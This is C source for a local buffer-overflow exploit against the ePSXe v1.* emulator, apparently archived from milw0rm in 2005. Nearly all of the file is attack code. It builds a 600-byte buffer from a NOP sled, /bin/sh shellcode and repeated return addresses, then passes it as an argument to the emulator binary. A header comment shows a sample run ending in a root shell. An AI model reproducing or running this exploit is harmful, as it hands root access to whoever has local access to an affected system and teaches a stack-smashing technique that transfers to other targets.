87 lines
No EOL
1.9 KiB
C
87 lines
No EOL
1.9 KiB
C
/* epsxe-e.c
|
|
ePSXe v1.* local exploit
|
|
By: Qnix
|
|
e-mail: q-nix[at]hotmail[dot]com
|
|
ePSXe-website: www.epsxe.com
|
|
|
|
EXP-Sample:
|
|
|
|
root@Qnix:~/epsxe# gcc -o epsxe-e epsxe-e.c
|
|
root@Qnix:~/epsxe# ./epsxe-e
|
|
|
|
*************************************
|
|
ePSXe v1.* local exploit
|
|
by
|
|
Qnix | Q-nix[at]hotmail[dot]com
|
|
*************************************
|
|
|
|
[~] Stack pointer (ESP) : 0xbffff568
|
|
[~] Offset from ESP : 0x0
|
|
[~] Desired Return Addr : 0xbffff568
|
|
|
|
* Running ePSXe emulator version 1.6.0.
|
|
* Memory handlers init.
|
|
sh-2.05b# id
|
|
uid=0(root) gid=0(root)
|
|
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
|
|
|
|
|
|
|
|
|
|
*/
|
|
|
|
|
|
#include <stdlib.h>
|
|
|
|
char shellcode[] =
|
|
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
|
|
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
|
|
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
|
|
"\x68";
|
|
|
|
unsigned long sp(void)
|
|
{ __asm__("movl %esp, %eax");}
|
|
|
|
int main(int argc, char *argv[])
|
|
{
|
|
int i, offset;
|
|
long esp, ret, *addr_ptr;
|
|
char *buffer, *ptr;
|
|
|
|
offset = 0;
|
|
esp = sp();
|
|
ret = esp - offset;
|
|
|
|
printf("\n ************************************* \n");
|
|
printf(" ePSXe v1.* local exploit \n");
|
|
printf(" by \n");
|
|
printf(" Qnix | Q-nix[at]hotmail[dot]com ");
|
|
printf("\n ************************************* \n\n");
|
|
printf("[~] Stack pointer (ESP) : 0x%x\n", esp);
|
|
printf("[~] Offset from ESP : 0x%x\n", offset);
|
|
printf("[~] Desired Return Addr : 0x%x\n\n", ret);
|
|
|
|
buffer = malloc(600);
|
|
|
|
ptr = buffer;
|
|
addr_ptr = (long *) ptr;
|
|
for(i=0; i < 600; i+=4)
|
|
{ *(addr_ptr++) = ret; }
|
|
|
|
for(i=0; i < 200; i++)
|
|
{ buffer[i] = '\x90'; }
|
|
|
|
ptr = buffer + 200;
|
|
for(i=0; i < strlen(shellcode); i++)
|
|
{ *(ptr++) = shellcode[i]; }
|
|
|
|
buffer[600-1] = 0;
|
|
|
|
execl("./epsxe", "epsxe", "-nogui", buffer, 0);
|
|
|
|
free(buffer);
|
|
|
|
return 0;
|
|
}
|
|
|
|
// milw0rm.com [2005-06-04]
|